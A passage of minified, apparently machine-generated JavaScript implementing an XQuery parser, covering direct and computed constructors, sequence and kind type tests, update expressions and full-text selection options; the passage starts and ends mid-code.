Bi(){Vl.startNonterminal(\"DirAttributeValue\",Pl),Al(14);switch(Hl){case 28:Sl(28);for(;;){Al(167);if(Hl==28)break;switch(Hl){case 13:Sl(13);break;default:Fi()}}Sl(28);break;default:Sl(33);for(;;){Al(168);if(Hl==33)break;switch(Hl){case 14:Sl(14);break;default:qi()}}Sl(33)}Vl.endNonterminal(\"DirAttributeValue\",Pl)}function ji(){Al(14);switch(Hl){case 28:xl(28);for(;;){Al(167);if(Hl==28)break;switch(Hl){case 13:xl(13);break;default:Ii()}}xl(28);break;default:xl(33);for(;;){Al(168);if(Hl==33)break;switch(Hl){case 14:xl(14);break;default:Ri()}}xl(33)}}function Fi(){Vl.startNonterminal(\"QuotAttrValueContent\",Pl);switch(Hl){case 16:Sl(16);break;default:Vf()}Vl.endNonterminal(\"QuotAttrValueContent\",Pl)}function Ii(){switch(Hl){case 16:xl(16);break;default:$f()}}function qi(){Vl.startNonterminal(\"AposAttrValueContent\",Pl);switch(Hl){case 17:Sl(17);break;default:Vf()}Vl.endNonterminal(\"AposAttrValueContent\",Pl)}function Ri(){switch(Hl){case 17:xl(17);break;default:$f()}}function Ui(){Vl.startNonterminal(\"DirElemContent\",Pl);switch(Hl){case 54:case 55:case 59:Oi();break;case 4:Sl(4);break;case 15:Sl(15);break;default:Vf()}Vl.endNonterminal(\"DirElemContent\",Pl)}function zi(){switch(Hl){case 54:case 55:case 59:Mi();break;case 4:xl(4);break;case 15:xl(15);break;default:$f()}}function Wi(){Vl.startNonterminal(\"DirCommentConstructor\",Pl),Sl(55),Al(1),Sl(2),Al(6),Sl(43),Vl.endNonterminal(\"DirCommentConstructor\",Pl)}function Xi(){xl(55),Al(1),xl(2),Al(6),xl(43)}function Vi(){Vl.startNonterminal(\"DirPIConstructor\",Pl),Sl(59),Al(3),Sl(18),Al(13),Hl==21&&(Sl(21),Al(2),Sl(3)),Al(9),Sl(65),Vl.endNonterminal(\"DirPIConstructor\",Pl)}function $i(){xl(59),Al(3),xl(18),Al(13),Hl==21&&(xl(21),Al(2),xl(3)),Al(9),xl(65)}function Ji(){Vl.startNonterminal(\"ComputedConstructor\",Pl);switch(Hl){case 119:Qf();break;case 121:Qi();break;case 82:Yf();break;case 184:Yi();break;case 244:il();break;case 96:nl();break;default:el()}Vl.endNonterminal(\"ComputedConstructor\",Pl)}function Ki(){switch(Hl){case 119:Gf();break;case 121:Gi();break;case 82:Zf();break;case 184:Zi();break;case 244:sl();break;case 96:rl();break;default:tl()}}function Qi(){Vl.startNonterminal(\"CompElemConstructor\",Pl),Sl(121),kl(258);switch(Hl){case 276:Sl(276),kl(267),Nl(),G(),Sl(282);break;default:Nl(),Ha()}kl(87),Sl(276),kl(277),Hl!=282&&(Nl(),Jf()),Sl(282),Vl.endNonterminal(\"CompElemConstructor\",Pl)}function Gi(){xl(121),kl(258);switch(Hl){case 276:xl(276),kl(267),Y(),xl(282);break;default:Ba()}kl(87),xl(276),kl(277),Hl!=282&&Kf(),xl(282)}function Yi(){Vl.startNonterminal(\"CompNamespaceConstructor\",Pl),Sl(184),kl(251);switch(Hl){case 276:Sl(276),kl(267),Nl(),ns(),Sl(282);break;default:Nl(),es()}kl(87),Sl(276),kl(267),Nl(),is(),Sl(282),Vl.endNonterminal(\"CompNamespaceConstructor\",Pl)}function Zi(){xl(184),kl(251);switch(Hl){case 276:xl(276),kl(267),rs(),xl(282);break;default:ts()}kl(87),xl(276),kl(267),ss(),xl(282)}function es(){Vl.startNonterminal(\"Prefix\",Pl),Ia(),Vl.endNonterminal(\"Prefix\",Pl)}function ts(){qa()}function ns(){Vl.startNonterminal(\"PrefixExpr\",Pl),G(),Vl.endNonterminal(\"PrefixExpr\",Pl)}function rs(){Y()}function is(){Vl.startNonterminal(\"URIExpr\",Pl),G(),Vl.endNonterminal(\"URIExpr\",Pl)}function ss(){Y()}function os(){Vl.startNonterminal(\"FunctionItemExpr\",Pl);switch(Hl){case 145:Ll(92);break;default:_l=Hl}switch(_l){case 32:case 17553:ls();break;default:as()}Vl.endNonterminal(\"FunctionItemExpr\",Pl)}function us(){switch(Hl){case 145:Ll(92);break;default:_l=Hl}switch(_l){case 32:case 17553:cs();break;default:fs()}}function as(){Vl.startNonterminal(\"NamedFunctionRef\",Pl),Ha(),kl(20),Sl(29),kl(16),Sl(8),Vl.endNonterminal(\"NamedFunctionRef\",Pl)}function fs(){Ba(),kl(20),xl(29),kl(16),xl(8)}function ls(){Vl.startNonterminal(\"InlineFunctionExpr\",Pl);for(;;){kl(97);if(Hl!=32)break;Nl(),B()}Sl(145),kl(22),Sl(34),kl(94),Hl==31&&(Nl(),U()),Sl(37),kl(111),Hl==79&&(Sl(79),kl(260),Nl(),ms()),kl(87),Nl(),V(),Vl.endNonterminal(\"InlineFunctionExpr\",Pl)}function cs(){for(;;){kl(97);if(Hl!=32)break;j()}xl(145),kl(22),xl(34),kl(94),Hl==31&&z(),xl(37),kl(111),Hl==79&&(xl(79),kl(260),gs()),kl(87),$()}function hs(){Vl.startNonterminal(\"SingleType\",Pl),vo(),kl(227),Hl==64&&Sl(64),Vl.endNonterminal(\"SingleType\",Pl)}function ps(){mo(),kl(227),Hl==64&&xl(64)}function ds(){Vl.startNonterminal(\"TypeDeclaration\",Pl),Sl(79),kl(260),Nl(),ms(),Vl.endNonterminal(\"TypeDeclaration\",Pl)}function vs(){xl(79),kl(260),gs()}function ms(){Vl.startNonterminal(\"SequenceType\",Pl);switch(Hl){case 124:Ll(243);break;default:_l=Hl}switch(_l){case 17532:Sl(124),kl(22),Sl(34),kl(23),Sl(37);break;default:ws(),kl(239);switch(Hl){case 39:case 40:case 64:Nl(),ys();break;default:}}Vl.endNonterminal(\"SequenceType\",Pl)}function gs(){switch(Hl){case 124:Ll(243);break;default:_l=Hl}switch(_l){case 17532:xl(124),kl(22),xl(34),kl(23),xl(37);break;default:Es(),kl(239);switch(Hl){case 39:case 40:case 64:bs();break;default:}}}function ys(){Vl.startNonterminal(\"OccurrenceIndicator\",Pl);switch(Hl){case 64:Sl(64);break;case 39:Sl(39);break;default:Sl(40)}Vl.endNonterminal(\"OccurrenceIndicator\",Pl)}function bs(){switch(Hl){case 64:xl(64);break;case 39:xl(39);break;default:xl(40)}}function ws(){Vl.startNonterminal(\"ItemType\",Pl);switch(Hl){case 78:case 82:case 96:case 120:case 121:case 145:case 165:case 167:case 185:case 191:case 194:case 216:case 226:case 227:case 242:case 244:Ll(243);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Ps();break;case 17573:Sl(165),kl(22),Sl(34),kl(23),Sl(37);break;case 32:case 17553:bo();break;case 34:No();break;case 17486:case 17575:case 17602:Ss();break;case 17650:Ts();break;default:_s()}Vl.endNonterminal(\"ItemType\",Pl)}function Es(){switch(Hl){case 78:case 82:case 96:case 120:case 121:case 145:case 165:case 167:case 185:case 191:case 194:case 216:case 226:case 227:case 242:case 244:Ll(243);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Hs();break;case 17573:xl(165),kl(22),xl(34),kl(23),xl(37);break;case 32:case 17553:wo();break;case 34:Co();break;case 17486:case 17575:case 17602:xs();break;case 17650:Ns();break;default:Ds()}}function Ss(){Vl.startNonterminal(\"JSONTest\",Pl);switch(Hl){case 167:Cs();break;case 194:Ls();break;default:Os()}Vl.endNonterminal(\"JSONTest\",Pl)}function xs(){switch(Hl){case 167:ks();break;case 194:As();break;default:Ms()}}function Ts(){Vl.startNonterminal(\"StructuredItemTest\",Pl),Sl(242),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"StructuredItemTest\",Pl)}function Ns(){xl(242),kl(22),xl(34),kl(23),xl(37)}function Cs(){Vl.startNonterminal(\"JSONItemTest\",Pl),Sl(167),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"JSONItemTest\",Pl)}function ks(){xl(167),kl(22),xl(34),kl(23),xl(37)}function Ls(){Vl.startNonterminal(\"JSONObjectTest\",Pl),Sl(194),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"JSONObjectTest\",Pl)}function As(){xl(194),kl(22),xl(34),kl(23),xl(37)}function Os(){Vl.startNonterminal(\"JSONArrayTest\",Pl),Sl(78),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"JSONArrayTest\",Pl)}function Ms(){xl(78),kl(22),xl(34),kl(23),xl(37)}function _s(){Vl.startNonterminal(\"AtomicOrUnionType\",Pl),Ha(),Vl.endNonterminal(\"AtomicOrUnionType\",Pl)}function Ds(){Ba()}function Ps(){Vl.startNonterminal(\"KindTest\",Pl);switch(Hl){case 120:Fs();break;case 121:no();break;case 82:Js();break;case 227:oo();break;case 226:Ys();break;case 216:Vs();break;case 96:Us();break;case 244:qs();break;case 185:Ws();break;default:Bs()}Vl.endNonterminal(\"KindTest\",Pl)}function Hs(){switch(Hl){case 120:Is();break;case 121:ro();break;case 82:Ks();break;case 227:uo();break;case 226:Zs();break;case 216:$s();break;case 96:zs();break;case 244:Rs();break;case 185:Xs();break;default:js()}}function Bs(){Vl.startNonterminal(\"AnyKindTest\",Pl),Sl(191),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"AnyKindTest\",Pl)}function js(){xl(191),kl(22),xl(34),kl(23),xl(37)}function Fs(){Vl.startNonterminal(\"DocumentTest\",Pl),Sl(120),kl(22),Sl(34),kl(144);if(Hl!=37)switch(Hl){case 121:Nl(),no();break;default:Nl(),oo()}kl(23),Sl(37),Vl.endNonterminal(\"DocumentTest\",Pl)}function Is(){xl(120),kl(22),xl(34),kl(144);if(Hl!=37)switch(Hl){case 121:ro();break;default:uo()}kl(23),xl(37)}function qs(){Vl.startNonterminal(\"TextTest\",Pl),Sl(244),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"TextTest\",Pl)}function Rs(){xl(244),kl(22),xl(34),kl(23),xl(37)}function Us(){Vl.startNonterminal(\"CommentTest\",Pl),Sl(96),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"CommentTest\",Pl)}function zs(){xl(96),kl(22),xl(34),kl(23),xl(37)}function Ws(){Vl.startNonterminal(\"NamespaceNodeTest\",Pl),Sl(185),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"NamespaceNodeTest\",Pl)}function Xs(){xl(185),kl(22),xl(34),kl(23),xl(37)}function Vs(){Vl.startNonterminal(\"PITest\",Pl),Sl(216),kl(22),Sl(34),kl(253);if(Hl!=37)switch(Hl){case 11:Sl(11);break;default:Nl(),Ia()}kl(23),Sl(37),Vl.endNonterminal(\"PITest\",Pl)}function $s(){xl(216),kl(22),xl(34),kl(253);if(Hl!=37)switch(Hl){case 11:xl(11);break;default:qa()}kl(23),xl(37)}function Js(){Vl.startNonterminal(\"AttributeTest\",Pl),Sl(82),kl(22),Sl(34),kl(261),Hl!=37&&(Nl(),Qs(),kl(101),Hl==41&&(Sl(41),kl(255),Nl(),go())),kl(23),Sl(37),Vl.endNonterminal(\"AttributeTest\",Pl)}function Ks(){xl(82),kl(22),xl(34),kl(261),Hl!=37&&(Gs(),kl(101),Hl==41&&(xl(41),kl(255),yo())),kl(23),xl(37)}function Qs(){Vl.startNonterminal(\"AttribNameOrWildcard\",Pl);switch(Hl){case 38:Sl(38);break;default:lo()}Vl.endNonterminal(\"AttribNameOrWildcard\",Pl)}function Gs(){switch(Hl){case 38:xl(38);break;default:co()}}function Ys(){Vl.startNonterminal(\"SchemaAttributeTest\",Pl),Sl(226),kl(22),Sl(34),kl(255),Nl(),eo(),kl(23),Sl(37),Vl.endNonterminal(\"SchemaAttributeTest\",Pl)}function Zs(){xl(226),kl(22),xl(34),kl(255),to(),kl(23),xl(37)}function eo(){Vl.startNonterminal(\"AttributeDeclaration\",Pl),lo(),Vl.endNonterminal(\"AttributeDeclaration\",Pl)}function to(){co()}function no(){Vl.startNonterminal(\"ElementTest\",Pl),Sl(121),kl(22),Sl(34),kl(261),Hl!=37&&(Nl(),io(),kl(101),Hl==41&&(Sl(41),kl(255),Nl(),go(),kl(102),Hl==64&&Sl(64))),kl(23),Sl(37),Vl.endNonterminal(\"ElementTest\",Pl)}function ro(){xl(121),kl(22),xl(34),kl(261),Hl!=37&&(so(),kl(101),Hl==41&&(xl(41),kl(255),yo(),kl(102),Hl==64&&xl(64))),kl(23),xl(37)}function io(){Vl.startNonterminal(\"ElementNameOrWildcard\",Pl);switch(Hl){case 38:Sl(38);break;default:ho()}Vl.endNonterminal(\"ElementNameOrWildcard\",Pl)}function so(){switch(Hl){case 38:xl(38);break;default:po()}}function oo(){Vl.startNonterminal(\"SchemaElementTest\",Pl),Sl(227),kl(22),Sl(34),kl(255),Nl(),ao(),kl(23),Sl(37),Vl.endNonterminal(\"SchemaElementTest\",Pl)}function uo(){xl(227),kl(22),xl(34),kl(255),fo(),kl(23),xl(37)}function ao(){Vl.startNonterminal(\"ElementDeclaration\",Pl),ho(),Vl.endNonterminal(\"ElementDeclaration\",Pl)}function fo(){po()}function lo(){Vl.startNonterminal(\"AttributeName\",Pl),Ha(),Vl.endNonterminal(\"AttributeName\",Pl)}function co(){Ba()}function ho(){Vl.startNonterminal(\"ElementName\",Pl),Ha(),Vl.endNonterminal(\"ElementName\",Pl)}function po(){Ba()}function vo(){Vl.startNonterminal(\"SimpleTypeName\",Pl),go(),Vl.endNonterminal(\"SimpleTypeName\",Pl)}function mo(){yo()}function go(){Vl.startNonterminal(\"TypeName\",Pl),Ha(),Vl.endNonterminal(\"TypeName\",Pl)}function yo(){Ba()}function bo(){Vl.startNonterminal(\"FunctionTest\",Pl);for(;;){kl(97);if(Hl!=32)break;Nl(),B()}switch(Hl){case 145:Ll(22);break;default:_l=Hl}_l=Kl(5,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{So(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(5,Pl,_l)}switch(_l){case-1:Nl(),Eo();break;default:Nl(),xo()}Vl.endNonterminal(\"FunctionTest\",Pl)}function wo(){for(;;){kl(97);if(Hl!=32)break;j()}switch(Hl){case 145:Ll(22);break;default:_l=Hl}_l=Kl(5,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{So(),Jl(5,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(5,t,-2)}}switch(_l){case-1:So();break;case-3:break;default:To()}}function Eo(){Vl.startNonterminal(\"AnyFunctionTest\",Pl),Sl(145),kl(22),Sl(34),kl(24),Sl(38),kl(23),Sl(37),Vl.endNonterminal(\"AnyFunctionTest\",Pl)}function So(){xl(145),kl(22),xl(34),kl(24),xl(38),kl(23),xl(37)}function xo(){Vl.startNonterminal(\"TypedFunctionTest\",Pl),Sl(145),kl(22),Sl(34),kl(263);if(Hl!=37){Nl(),ms();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(260),Nl(),ms()}}Sl(37),kl(30),Sl(79),kl(260),Nl(),ms(),Vl.endNonterminal(\"TypedFunctionTest\",Pl)}function To(){xl(145),kl(22),xl(34),kl(263);if(Hl!=37){gs();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(260),gs()}}xl(37),kl(30),xl(79),kl(260),gs()}function No(){Vl.startNonterminal(\"ParenthesizedItemType\",Pl),Sl(34),kl(260),Nl(),ws(),kl(23),Sl(37),Vl.endNonterminal(\"ParenthesizedItemType\",Pl)}function Co(){xl(34),kl(260),Es(),kl(23),xl(37)}function ko(){Vl.startNonterminal(\"RevalidationDecl\",Pl),Sl(108),kl(72),Sl(222),kl(152);switch(Hl){case 240:Sl(240);break;case 171:Sl(171);break;default:Sl(233)}Vl.endNonterminal(\"RevalidationDecl\",Pl)}function Lo(){Vl.startNonterminal(\"InsertExprTargetChoice\",Pl);switch(Hl){case 70:Sl(70);break;case 84:Sl(84);break;default:if(Hl==79){Sl(79),kl(119);switch(Hl){case 134:Sl(134);break;default:Sl(170)}}kl(54),Sl(163)}Vl.endNonterminal(\"InsertExprTargetChoice\",Pl)}function Ao(){switch(Hl){case 70:xl(70);break;case 84:xl(84);break;default:if(Hl==79){xl(79),kl(119);switch(Hl){case 134:xl(134);break;default:xl(170)}}kl(54),xl(163)}}function Oo(){Vl.startNonterminal(\"InsertExpr\",Pl),Sl(159),kl(129);switch(Hl){case 191:Sl(191);break;default:Sl(192)}kl(267),Nl(),Fo(),Nl(),Lo(),kl(267),Nl(),qo(),Vl.endNonterminal(\"InsertExpr\",Pl)}function Mo(){xl(159),kl(129);switch(Hl){case 191:xl(191);break;default:xl(192)}kl(267),Io(),Ao(),kl(267),Ro()}function _o(){Vl.startNonterminal(\"DeleteExpr\",Pl),Sl(110),kl(129);switch(Hl){case 191:Sl(191);break;default:Sl(192)}kl(267),Nl(),qo(),Vl.endNonterminal(\"DeleteExpr\",Pl)}function Do(){xl(110),kl(129);switch(Hl){case 191:xl(191);break;default:xl(192)}kl(267),Ro()}function Po(){Vl.startNonterminal(\"ReplaceExpr\",Pl),Sl(219),kl(130),Hl==261&&(Sl(261),kl(64),Sl(196)),kl(62),Sl(191),kl(267),Nl(),qo(),Sl(270),kl(267),Nl(),_f(),Vl.endNonterminal(\"ReplaceExpr\",Pl)}function Ho(){xl(219),kl(130),Hl==261&&(xl(261),kl(64),xl(196)),kl(62),xl(191),kl(267),Ro(),xl(270),kl(267),Df()}function Bo(){Vl.startNonterminal(\"RenameExpr\",Pl),Sl(218),kl(62),Sl(191),kl(267),Nl(),qo(),Sl(79),kl(267),Nl(),Uo(),Vl.endNonterminal(\"RenameExpr\",Pl)}function jo(){xl(218),kl(62),xl(191),kl(267),Ro(),xl(79),kl(267),zo()}function Fo(){Vl.startNonterminal(\"SourceExpr\",Pl),_f(),Vl.endNonterminal(\"SourceExpr\",Pl)}function Io(){Df()}function qo(){Vl.startNonterminal(\"TargetExpr\",Pl),_f(),Vl.endNonterminal(\"TargetExpr\",Pl)}function Ro(){Df()}function Uo(){Vl.startNonterminal(\"NewNameExpr\",Pl),_f(),Vl.endNonterminal(\"NewNameExpr\",Pl)}function zo(){Df()}function Wo(){Vl.startNonterminal(\"TransformExpr\",Pl),Sl(103),kl(21),Nl(),Vo();for(;;){if(Hl!=41)break;Sl(41),kl(21),Nl(),Vo()}Sl(181),kl(267),Nl(),_f(),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"TransformExpr\",Pl)}function Xo(){xl(103),kl(21),$o();for(;;){if(Hl!=41)break;xl(41),kl(21),$o()}xl(181),kl(267),Df(),xl(220),kl(267),Df()}function Vo(){Vl.startNonterminal(\"TransformSpec\",Pl),Sl(31),kl(255),Nl(),hi(),kl(27),Sl(52),kl(267),Nl(),_f(),Vl.endNonterminal(\"TransformSpec\",Pl)}function $o(){xl(31),kl(255),pi(),kl(27),xl(52),kl(267),Df()}function Jo(){Vl.startNonterminal(\"FTSelection\",Pl),Yo();for(;;){kl(212);switch(Hl){case 81:Ll(151);break;default:_l=Hl}if(_l!=115&&_l!=117&&_l!=127&&_l!=202&&_l!=223&&_l!=269&&_l!=64593&&_l!=121425)break;Nl(),Su()}Vl.endNonterminal(\"FTSelection\",Pl)}function Ko(){Zo();for(;;){kl(212);switch(Hl){case 81:Ll(151);break;default:_l=Hl}if(_l!=115&&_l!=117&&_l!=127&&_l!=202&&_l!=223&&_l!=269&&_l!=64593&&_l!=121425)break;xu()}}function Qo(){Vl.startNonterminal(\"FTWeight\",Pl),Sl(264),kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"FTWeight\",Pl)}function Go(){xl(264),kl(87),xl(276),kl(267),Y(),xl(282)}function Yo(){Vl.startNonterminal(\"FTOr\",Pl),eu();for(;;){if(Hl!=144)break;Sl(144),kl(162),Nl(),eu()}Vl.endNonterminal(\"FTOr\",Pl)}function Zo(){tu();for(;;){if(Hl!=144)break;xl(144),kl(162),tu()}}function eu(){Vl.startNonterminal(\"FTAnd\",Pl),nu();for(;;){if(Hl!=142)break;Sl(142),kl(162),Nl(),nu()}Vl.endNonterminal(\"FTAnd\",Pl)}function tu(){ru();for(;;){if(Hl!=142)break;xl(142),kl(162),ru()}}function nu(){Vl.startNonterminal(\"FTMildNot\",Pl),iu();for(;;){kl(213);if(Hl!=193)break;Sl(193),kl(53),Sl(154),kl(162),Nl(),iu()}Vl.endNonterminal(\"FTMildNot\",Pl)}function ru(){su();for(;;){kl(213);if(Hl!=193)break;xl(193),kl(53),xl(154),kl(162),su()}}function iu(){Vl.startNonterminal(\"FTUnaryNot\",Pl),Hl==143&&Sl(143),kl(155),Nl(),ou(),Vl.endNonterminal(\"FTUnaryNot\",Pl)}function su(){Hl==143&&xl(143),kl(155),uu()}function ou(){Vl.startNonterminal(\"FTPrimaryWithOptions\",Pl),au(),kl(215),Hl==259&&(Nl(),Fu()),Hl==264&&(Nl(),Qo()),Vl.endNonterminal(\"FTPrimaryWithOptions\",Pl)}function uu(){fu(),kl(215),Hl==259&&Iu(),Hl==264&&Go()}function au(){Vl.startNonterminal(\"FTPrimary\",Pl);switch(Hl){case 34:Sl(34),kl(162),Nl(),Jo(),Sl(37);break;case 35:du();break;default:lu(),kl(216),Hl==195&&(Nl(),yu())}Vl.endNonterminal(\"FTPrimary\",Pl)}function fu(){switch(Hl){case 34:xl(34),kl(162),Ko(),xl(37);break;case 35:vu();break;default:cu(),kl(216),Hl==195&&bu()}}function lu(){Vl.startNonterminal(\"FTWords\",Pl),hu(),kl(222);if(Hl==71||Hl==76||Hl==210)Nl(),mu();Vl.endNonterminal(\"FTWords\",Pl)}function cu(){pu(),kl(222),(Hl==71||Hl==76||Hl==210)&&gu()}function hu(){Vl.startNonterminal(\"FTWordsValue\",Pl);switch(Hl){case 11:Sl(11);break;default:Sl(276),kl(267),Nl(),G(),Sl(282)}Vl.endNonterminal(\"FTWordsValue\",Pl)}function pu(){switch(Hl){case 11:xl(11);break;default:xl(276),kl(267),Y(),xl(282)}}function du(){Vl.startNonterminal(\"FTExtensionSelection\",Pl);for(;;){Nl(),Cr(),kl(100);if(Hl!=35)break}Sl(276),kl(166),Hl!=282&&(Nl(),Jo()),Sl(282),Vl.endNonterminal(\"FTExtensionSelection\",Pl)}function vu(){for(;;){kr(),kl(100);if(Hl!=35)break}xl(276),kl(166),Hl!=282&&Ko(),xl(282)}function mu(){Vl.startNonterminal(\"FTAnyallOption\",Pl);switch(Hl){case 76:Sl(76),kl(219),Hl==272&&Sl(272);break;case 71:Sl(71),kl(220),Hl==273&&Sl(273);break;default:Sl(210)}Vl.endNonterminal(\"FTAnyallOption\",Pl)}function gu(){switch(Hl){case 76:xl(76),kl(219),Hl==272&&xl(272);break;case 71:xl(71),kl(220),Hl==273&&xl(273);break;default:xl(210)}}function yu(){Vl.startNonterminal(\"FTTimes\",Pl),Sl(195),kl(149),Nl(),wu(),Sl(247),Vl.endNonterminal(\"FTTimes\",Pl)}function bu(){xl(195),kl(149),Eu(),xl(247)}function wu(){Vl.startNonterminal(\"FTRange\",Pl);switch(Hl){case 130:Sl(130),kl(267),Nl(),Vn();break;case 81:Sl(81),kl(125);switch(Hl){case 173:Sl(173),kl(267),Nl(),Vn();break;default:Sl(183),kl(267),Nl(),Vn()}break;default:Sl(140),kl(267),Nl(),Vn(),Sl(248),kl(267),Nl(),Vn()}Vl.endNonterminal(\"FTRange\",Pl)}function Eu(){switch(Hl){case 130:xl(130),kl(267),$n();break;case 81:xl(81),kl(125);switch(Hl){case 173:xl(173),kl(267),$n();break;default:xl(183),kl(267),$n()}break;default:xl(140),kl(267),$n(),xl(248),kl(267),$n()}}function Su(){Vl.startNonterminal(\"FTPosFilter\",Pl);switch(Hl){case 202:Tu();break;case 269:Cu();break;case 117:Lu();break;case 115:case 223:_u();break;default:Bu()}Vl.endNonterminal(\"FTPosFilter\",Pl)}function xu(){switch(Hl){case 202:Nu();break;case 269:ku();break;case 117:Au();break;case 115:case 223:Du();break;default:ju()}}function Tu(){Vl.startNonterminal(\"FTOrder\",Pl),Sl(202),Vl.endNonterminal(\"FTOrder\",Pl)}function Nu(){xl(202)}function Cu(){Vl.startNonterminal(\"FTWindow\",Pl),Sl(269),kl(267),Nl(),Vn(),Nl(),Ou(),Vl.endNonterminal(\"FTWindow\",Pl)}function ku(){xl(269),kl(267),$n(),Mu()}function Lu(){Vl.startNonterminal(\"FTDistance\",Pl),Sl(117),kl(149),Nl(),wu(),Nl(),Ou(),Vl.endNonterminal(\"FTDistance\",Pl)}function Au(){xl(117),kl(149),Eu(),Mu()}function Ou(){Vl.startNonterminal(\"FTUnit\",Pl);switch(Hl){case 273:Sl(273);break;case 232:Sl(232);break;default:Sl(205)}Vl.endNonterminal(\"FTUnit\",Pl)}function Mu(){switch(Hl){case 273:xl(273);break;case 232:xl(232);break;default:xl(205)}}function _u(){Vl.startNonterminal(\"FTScope\",Pl);switch(Hl){case 223:Sl(223);break;default:Sl(115)}kl(132),Nl(),Pu(),Vl.endNonterminal(\"FTScope\",Pl)}function Du(){switch(Hl){case 223:xl(223);break;default:xl(115)}kl(132),Hu()}function Pu(){Vl.startNonterminal(\"FTBigUnit\",Pl);switch(Hl){case 231:Sl(231);break;default:Sl(204)}Vl.endNonterminal(\"FTBigUnit\",Pl)}function Hu(){switch(Hl){case 231:xl(231);break;default:xl(204)}}function Bu(){Vl.startNonterminal(\"FTContent\",Pl);switch(Hl){case 81:Sl(81),kl(117);switch(Hl){case 237:Sl(237);break;default:Sl(126)}break;default:Sl(127),kl(42),Sl(100)}Vl.endNonterminal(\"FTContent\",Pl)}function ju(){switch(Hl){case 81:xl(81),kl(117);switch(Hl){case 237:xl(237);break;default:xl(126)}break;default:xl(127),kl(42),xl(100)}}function Fu(){Vl.startNonterminal(\"FTMatchOptions\",Pl);for(;;){Sl(259),kl(182),Nl(),qu(),kl(215);if(Hl!=259)break}Vl.endNonterminal(\"FTMatchOptions\",Pl)}function Iu(){for(;;){xl(259),kl(182),Ru(),kl(215);if(Hl!=259)break}}function qu(){Vl.startNonterminal(\"FTMatchOption\",Pl);switch(Hl){case 188:Ll(161);break;default:_l=Hl}switch(_l){case 169:oa();break;case 268:case 137404:aa();break;case 246:case 126140:Ju();break;case 238:case 122044:Vu();break;case 114:Wu();break;case 239:case 122556:ea();break;case 199:la();break;default:Uu()}Vl.endNonterminal(\"FTMatchOption\",Pl)}function Ru(){switch(Hl){case 188:Ll(161);break;default:_l=Hl}switch(_l){case 169:ua();break;case 268:case 137404:fa();break;case 246:case 126140:Ku();break;case 238:case 122044:$u();break;case 114:Xu();break;case 239:case 122556:ta();break;case 199:ca();break;default:zu()}}function Uu(){Vl.startNonterminal(\"FTCaseOption\",Pl);switch(Hl){case 88:Sl(88),kl(124);switch(Hl){case 158:Sl(158);break;default:Sl(230)}break;case 177:Sl(177);break;default:Sl(258)}Vl.endNonterminal(\"FTCaseOption\",Pl)}function zu(){switch(Hl){case 88:xl(88),kl(124);switch(Hl){case 158:xl(158);break;default:xl(230)}break;case 177:xl(177);break;default:xl(258)}}function Wu(){Vl.startNonterminal(\"FTDiacriticsOption\",Pl),Sl(114),kl(124);switch(Hl){case 158:Sl(158);break;default:Sl(230)}Vl.endNonterminal(\"FTDiacriticsOption\",Pl)}function Xu(){xl(114),kl(124);switch(Hl){case 158:xl(158);break;default:xl(230)}}function Vu(){Vl.startNonterminal(\"FTStemOption\",Pl);switch(Hl){case 238:Sl(238);break;default:Sl(188),kl(74),Sl(238)}Vl.endNonterminal(\"FTStemOption\",Pl)}function $u(){switch(Hl){case 238:xl(238);break;default:xl(188),kl(74),xl(238)}}function Ju(){Vl.startNonterminal(\"FTThesaurusOption\",Pl);switch(Hl){case 246:Sl(246),kl(142);switch(Hl){case 81:Nl(),Qu();break;case 109:Sl(109);break;default:Sl(34),kl(112);switch(Hl){case 81:Nl(),Qu();break;default:Sl(109)}for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(31),Nl(),Qu()}Sl(37)}break;default:Sl(188),kl(78),Sl(246)}Vl.endNonterminal(\"FTThesaurusOption\",Pl)}function Ku(){switch(Hl){case 246:xl(246),kl(142);switch(Hl){case 81:Gu();break;case 109:xl(109);break;default:xl(34),kl(112);switch(Hl){case 81:Gu();break;default:xl(109)}for(;;){kl(101);if(Hl!=41)break;xl(41),kl(31),Gu()}xl(37)}break;default:xl(188),kl(78),xl(246)}}function Qu(){Vl.startNonterminal(\"FTThesaurusID\",Pl),Sl(81),kl(15),Sl(7),kl(221),Hl==217&&(Sl(217),kl(17),Sl(11)),kl(217);switch(Hl){case 81:Ll(165);break;default:_l=Hl}if(_l==130||_l==140||_l==88657||_l==93777)Nl(),Yu(),kl(58),Sl(175);Vl.endNonterminal(\"FTThesaurusID\",Pl)}function Gu(){xl(81),kl(15),xl(7),kl(221),Hl==217&&(xl(217),kl(17),xl(11)),kl(217);switch(Hl){case 81:Ll(165);break;default:_l=Hl}if(_l==130||_l==140||_l==88657||_l==93777)Zu(),kl(58),xl(175)}function Yu(){Vl.startNonterminal(\"FTLiteralRange\",Pl);switch(Hl){case 130:Sl(130),kl(16),Sl(8);break;case 81:Sl(81),kl(125);switch(Hl){case 